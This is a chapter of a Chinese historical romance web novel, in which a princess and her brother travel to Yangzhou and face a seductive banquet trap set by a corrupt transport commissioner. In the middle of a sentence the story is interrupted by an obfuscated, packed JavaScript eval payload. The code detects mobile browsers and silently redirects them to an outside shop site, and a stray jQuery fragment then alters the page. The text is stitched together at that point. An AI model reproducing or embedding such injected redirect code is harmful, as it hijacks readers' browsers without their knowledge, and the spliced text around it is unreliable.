第二日，谈家的船队在码头等他们。南菱一眼望过去，说是旌旗遮天蔽日都不过分。
“用这么……夸张吗？”南菱下了马车，朝着被一群婢女簇拥着的谈桑容走去。她昨日在楚司珏门口闹那一出，今天都不太敢看他，唯恐他发现了昨天是自己在门口偷听。
虽然自己根本一句话都没听到。
“这哪儿夸张了。”谈桑容指着不远处的一艘三层楼船，“我们坐那艘，其他的都是载货的。”
不等他们吩咐，谈家的家丁就已经麻利地搬运起来，南菱跟着谈桑容上了船，这还是她从小到大第一次登船，很新鲜。
他们预计随着汴河南下，二十日后到达。
“这是你跟二公子的房间，在对门，万一有什么事，还能相互照应。”
南菱打了个颤，有点不太想见他，看见楚司珏上来了，只得打起精神，笑道：“哥哥。”
“怕你在船上无聊，”楚司珏抽出一本书扔到她怀里，“把《春秋》背完就差不多了。”
南菱杏眼睁得溜圆，差点一口气没上来。
怎么都逃出王府了，还是不能放过我呢？
见楚司珏要关门，南菱当机立断，一把拽住他的袖子：“哥哥，我晕船，真的背不了……”
“那太好了，”楚司珏温柔地抓住她的手腕，将袖子抢救回来，“你背的时候就不会晕船了。”
求饶失败，南菱忍着满腔怒火，靠在美人榻上念书，船行悠悠，两岸景致缓慢后退，不一会儿就瘫倒在榻上睡着了。
到江都县瓜洲渡口那日，正是一个风和日丽的日子，码头上人来人往，有道是“天下三分明月夜，二分无赖是扬州”。
谈桑容派人随他们将行囊搬到官舍，她自己先到外祖家探亲去了。
行囊上了马车，楚司珏和南菱打算一路步行过去，顺便感受一下江都的市井风情。
“那是什么？”南菱和楚司珏并肩走着，忽然停了下来，蹲在一个小贩跟前，指着黑不溜秋的、形似牛头的东西问。
小贩笑呵呵地答：“娘子一看就是从北边来的吧，这都不知道，这是菱角啊。”
南菱“啊”了一声，觉得很新奇，小贩又道：“蒸熟了可好吃了，娘子要不要来点？”
南菱正要说要，但想起自己此行带的银子着实不多，两个人若是没有楚司珏的俸禄，恐怕得喝西北风了，又缩回了手。
不料楚司珏抖出银锭，往小贩怀里一扔：“来两斤。”小贩被砸得眉开眼笑，连忙照办。
“吃不了吧？”南菱有点心疼钱，但是楚司珏花的钱，她也不好意思说什么，拉过青梅来商量怎么做好吃。
暮山认命般地提起半麻袋的菱角，随着楚司珏走了。
在官舍门口，也不见有人来迎接，这里住的人不多，有些县官就是本地人，自然是住家里。
楚司珏比较麻烦，他那些“五毒”个个金贵，不好养活，在船上就有些要死不活的，不过到了扬州，倒是有些起死回生的征兆了。
“楚大人，我们杨使君说今夜请您到府上一叙，扬州府的几位官人也都在。”一个小厮给楚司珏递过来拜帖，楚司珏收了，只淡淡地点了头，打发人出去了。
他在来之前没少做功课，这淮南路转运使杨勉是太后的远亲，旁的不说，光是大运河堤坝在他任上每年都坍毁一次，就蹊跷得很。
“这是鸿门宴呀。”南菱倚靠在门框上，笑得露出两颗小虎牙，“哥哥，你去还是不去呢？”
“你说呢？”楚司珏也笑了，“拜帖上还说，务必让元嘉郡主赏光，拨冗赴宴。”
南菱得意的神色没维持两秒，就被打回原形，气得像只鼓囊囊的河豚，“本郡主才懒得去，他以为自己几斤几两……”不过真要让楚司珏自己一个人去了，她反倒有些不太放心了。
“也是，宴席上明枪暗箭的，你还是别去了。”楚司珏从善如流。不过他猜得很对，越是不让她去，她就偏要跟你对着干。
“那不成！”南菱反倒不乐意了，“本郡主才不做那缩头乌龟。”姓杨的顶多给他们点下马威，又不能真的血溅当场，她才不会怕。
就算真的血溅当场了，死的也只会是姓杨的，不会是她。
南菱将自己压箱底的衣裳首饰都拿出来，端得是一个艳压四方，她平日里不爱打扮，松松挽个发髻，今日特地叫红豆挽了个飞仙髻，配几朵盛绽的雪白玉簪花，
月白对襟上衣配碧蓝半袖，朱砂色褶裙逶迤犹如轻柔云朵。
她笑时稚气未脱，显得天真烂漫，不笑时随便一个冷静的眼神都能让人感受到强大的气场。
“走吧。”马车就停在官舍门口，楚司珏在里面等她。
马车一路悠悠驶向淮南路转运使府上，南菱正要阖眼假寐，冷不防楚司珏叫住了她：“到了宴会上，有三件事，你得记住了。”
“哪三件？”
“第一，别随便吃喝别人递过来的东西，最好什么都别动，第二，别太冲动，控制好你自己，至于第三……”楚司珏屈指在桌案上敲了一下，“别的都可以忘，这条必须记住。”
“什么？”
“危机时刻，保命为上，其他都别管。”楚司珏觉得她似乎没怎么听进去，又清了清嗓子，“我可不想捧着你的骨灰回去……”
“呸呸呸！”南菱狠狠瞪他一眼，心道这行医的都不知道给自己积点口德吗？
南菱掀开车帘，只见大红灯笼在秋风里飘摇，越来越近，上头赫然写着一个“杨”字。
门口迎接的人见她提裙子下了马车，忙道：“小的给郡主和楚大人请安！二位请随我来。”
身后一辆马车也停了下来，南菱侧眸望去，那是个三十多岁的妇人，穿着雍容华贵，身旁丫鬟簇拥着，很是气派。
只是她眼高于顶，连正眼都没给南菱一个。
“吴管家你是眼睛瞎了吗？”那妇人身前一个非常厉害的丫鬟道，“我们府君娘子在这儿等着呢，你居然跑去招呼一个小小的县令！”
吴管家忙赔笑：“楚大人跟郡主是远道而来的，不认识府中的路，大娘子莫怪……”
那妇人身后便是扬州的知州郭靖，夫妇俩是如出一辙的狗眼看人低，看都没看他们一眼，就径直进门去了。
南菱想起楚司珏在马车上叮嘱自己的话，忍了又忍，才挤出一个笑脸：“吴管家，我们走吧。”
杨府很大，内外三进院落，宴请宾客都在第二进院落。楚司珏在前头替她挡着风，南菱亦步亦趋跟在他身后，悄悄观察着地形和退路。
“就在前头了。”
耳畔已经隐约传来笙歌阵阵，舞曲悠扬婉转，南菱抿了抿唇，心道这杨勉还真是奢靡无度，好好吃饭就是了，还偏要搞这套。
该不会要让楚司珏的名声彻底败坏，让百姓以为他们是一路货色吧？
南菱有点后悔让他参加这场宴会了，早知道就说什么也不让他来了！
一进正堂，南菱就能感受到四面八方的目光都汇聚在他们兄妹身上，坐在正中的就是杨勉了，瞧着他得有五六十岁了，八字胡翘起，一双小眼睛堪比绿豆，滴溜滴溜地转。
“杨大人，诸位大人。”楚司珏与杨勉客套了几句，就拉着南菱坐下。
南菱左手边是一个穿着华丽的娘子，姿色过人，年纪不大，约莫二十出头。只是她的衣服南菱实在是不敢恭维，半露着□□，一见便令人心生不适。
她在汴京时，这等穿着是万万不会出现在宴会上的，尤其是当着整个淮南路大小官员的面。
她来之前特地查了关于杨勉的资料，他的家眷都在汴京，那这位是……
“郡主怕是还没见过姚娘子吧？”身边一个妇人笑着凑近，“姚娘子原本
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780102|209352||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是扬州二十四桥的头牌，被杨大人瞧上了，那叫一个一掷千金……”
南菱侧眸看向她，只觉得她似乎在笑，又好像没有。
不只是她，所有的舞女、歌女的穿着似乎都是精心设计过的，清凉中又带着一点令人目眩神迷的脂粉气，南菱额头上渗出冷汗。她有点忍受不了这样的氛围了，只觉得恶心。
坐在高位上的杨勉，左拥右抱，两个舞女坐在他腿上，一口一口喂着他。杨勉的眼睛色眯眯的，搂着那两人的腰，不安分地乱动。
而底下的官员有样学样，也变得放浪起来，
更令人难以忍受的是，他们的夫人就在面前，眼睁睁看着，没有人提出异议。
只能看着自己的丈夫左拥右抱，故作贤良大度的姿态。
南菱一直留意着楚司珏那边的动静，一直有人过来给他敬酒，而且个个比他位高权重，一个小小的七品县令，在他们眼里，是可以随意作弄的蝼蚁。
南菱真怕他喝醉了自己不好收场。
在汴京时，南菱从没见过他喝酒，不知道他酒量如何，心里七上八下的。
“杨大人，今年江都境内又冲毁了三座堤坝，不知可否正在修缮？”楚司珏此言一出，整个正堂都静默了一瞬。
“楚大人这么着急，”郭靖忙打圆场，“不怕搅了使君雅兴？”
杨勉稍微推开左右两人，斜眼乜向楚司珏：“今儿个我们不谈公事，楚县令莫要坏了规矩。”
只见姚娘子上前去，不知道在杨勉旁边说了句什么，他便拍了拍手，叫那些舞女退下了。
南菱正诧异，只听得琵琶声起，吊在正中间的花篮猛然倾斜，玫红色花瓣洒下漫天花雨，飘飘荡荡，犹如一场朦胧的雪。
与此同时，正中间的地板竟然缓缓下降，南菱惊得捂住了嘴，只见地面再度上升时，上面赫然多了个反弹琵琶的红衣女子！
只见她衣袂飘飘，披帛犹如洒上了一层碎金，隐约有光华流动，声音犹如莺啼：“小女姚素，特来为楚县令接风洗尘。”
南菱心脏猛地一跳，下意识看向姚娘子的方向。
这就是他们精心准备的“接风洗尘”吗？
南菱这么多年，各种乐器一窍不通，在她耳朵里筝和琴都没什么区别，但瞧着在场众人的神色，应该是陶醉其中的。
“这姚素娘子是姚娘子的亲妹妹，两姐妹生得都是……”
从南菱的角度，正好能看见她侧身对着楚司珏的方向，花瓣从她的袖口飘出，南菱禁不住蹙眉。
常言道英雄难过美人关，这杨勉老头子净钻研这些歪门邪道！
果然一曲终了，姚素从袖口拈出来一枝木芙蓉花，轻轻隔空一掷，那朵花准确地落入楚司珏身前的酒杯中。
南菱手中的帕子不自觉地捏紧了，她正要起身，一想到楚司珏叮嘱自己的话，不能冲动，只能深呼吸再三，强迫自己冷静下来。
楚司珏将花从酒杯中捏出来，放到桌案上。只见姚素袅娜地行至自己跟前：“不知妾身，可否有幸请公子簪花？”
这次她叫的不是“大人”，而是“公子”。
这是赤裸裸的引诱！
“郡主怎么这么紧张啊？”姚若凑过来，按住她的一只手，柔柔地一瞥，“额头都出汗了。”
对这种别有用心的人不用给什么好脸色，南菱抓住她的手腕，把它甩到一边去：“本郡主和姚娘子，似乎还么有这么熟吧？”
最可恨的是，从她的视角看，姚素的身子完全挡住了视线，她根本看不到哥哥什么反应。
“素娘是阿若的亲妹妹，”杨勉拈着八字胡，“她还没许人家，楚县令正巧也没娶亲，这不是天作之合？”
郭靖带头起哄，姚素的脸颊犹如一朵娇羞的木芙蓉，握着酒盏的手纤细漂亮：“妾身敬公子一杯……”
变故在突然间发生。